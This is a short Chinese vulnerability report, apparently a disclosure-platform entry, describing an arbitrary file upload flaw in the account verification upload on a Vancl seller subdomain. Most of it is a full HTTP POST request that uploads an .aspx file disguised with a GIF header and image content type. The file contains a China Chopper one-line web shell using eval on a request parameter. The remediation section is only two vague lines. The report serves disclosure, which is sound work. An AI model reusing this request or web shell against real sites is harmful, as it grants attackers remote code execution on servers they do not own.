凡客某分站任意文件上传
详细说明：分站地址：
http://seller.vancl.com/account/UserAccountview
 
账户认证功能
在上传那里上传，抓包，改包上传。。。成功。。
 
POST /account/UploadIdImage HTTP/1.1
Host: seller.vancl.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Connection: keep-alive
Referer: http://seller.vancl.com/account/UserAccountview
Cookie: 自己加上
Content-Type: multipart/form-data; boundary=---------------------------146043902153
Content-Length: 367
 
-----------------------------146043902153
Content-Disposition: form-data; name="ufile"; filename="xxx.aspx"
Content-Type: image/gif
 
GIF89a
<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
-----------------------------146043902153
Content-Disposition: form-data; name="SubmitID"
 
... ...
-----------------------------146043902153--


 
 
修复方案：

部署还可以，分离了。
文件应该是同步过来的